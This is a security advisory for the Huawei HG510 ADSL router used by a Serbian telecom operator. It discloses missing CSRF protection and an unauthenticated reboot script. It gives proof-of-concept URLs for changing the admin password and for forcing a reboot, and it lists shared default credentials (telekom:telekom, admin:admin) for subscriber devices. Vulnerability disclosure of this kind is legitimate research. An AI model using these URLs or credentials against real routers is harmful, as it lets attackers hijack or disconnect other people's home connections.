Huawei HG510 Multiple Vulnerabilities
Title: Huawei HG510 Multiple Vulnerabilities
Impact: Authentication bypass, DoS
Type: Local, Remote
Vendor:
- Url : http://www.huawei.com/
|| Description
Huawei HG510 is a device offered by the Serbian telecom operator, to provide ADSL Internet connection.
Administration of settings on this device is allowed only from local LAN network but not only from
private IP address (eg 192.168.1.1) then You can access with public IP address.
|| Vulnerability
There is no CSRF protection so we can create malicious web pages and create some CSRF attacks.
Is user is logged on his device we can change passwords or some another settings.
.: POC (CSRF)
http://PUBLIC_IP_OF_USER/password.cgi?sysPassword=BASE64_NEW_PASSWORD
While testing we found one strange behavior with /rebootinfo.cgi (reboot device script).
Normaly for all this CSRF user must be logged into device web interface but if we request:
http://PUBLIC_IP_OF_USER/rebootinfo.cgi, basic authentication is bypassed and device
is rebooted.
So we have CSRF + Authentication Bypass that lead to DoS of end user.
.: POC (CSRF + Auth Bypass => DoS)
http://PUBLIC_IP_OF_USER/rebootinfo.cgi
|| Notice
Serbian telecom operator using the same username/passwords for all clients so malicious users
can use some social engineering or clickjacking for login into web interface and do some CSRF.
.: POC (Login => CSRF)
http://telekom:telekom@PUBLIC_IP_OF_USER/password.cgi?sysPassword=BASE64_NEW_PASSWORD
Similiar vulnerabilities are founded on another devices that used by Serbian telecom eg:
Huawei SmartAX MT882
.: POC (Login => CSRF)
http://admin:admin@PUBLIC_IP_OF_USER/Action?save_reboot=1&reboot_loc=0&id=5
|| Contact
Author : Ivan Markovic , Network Security Solutions
|| Secunia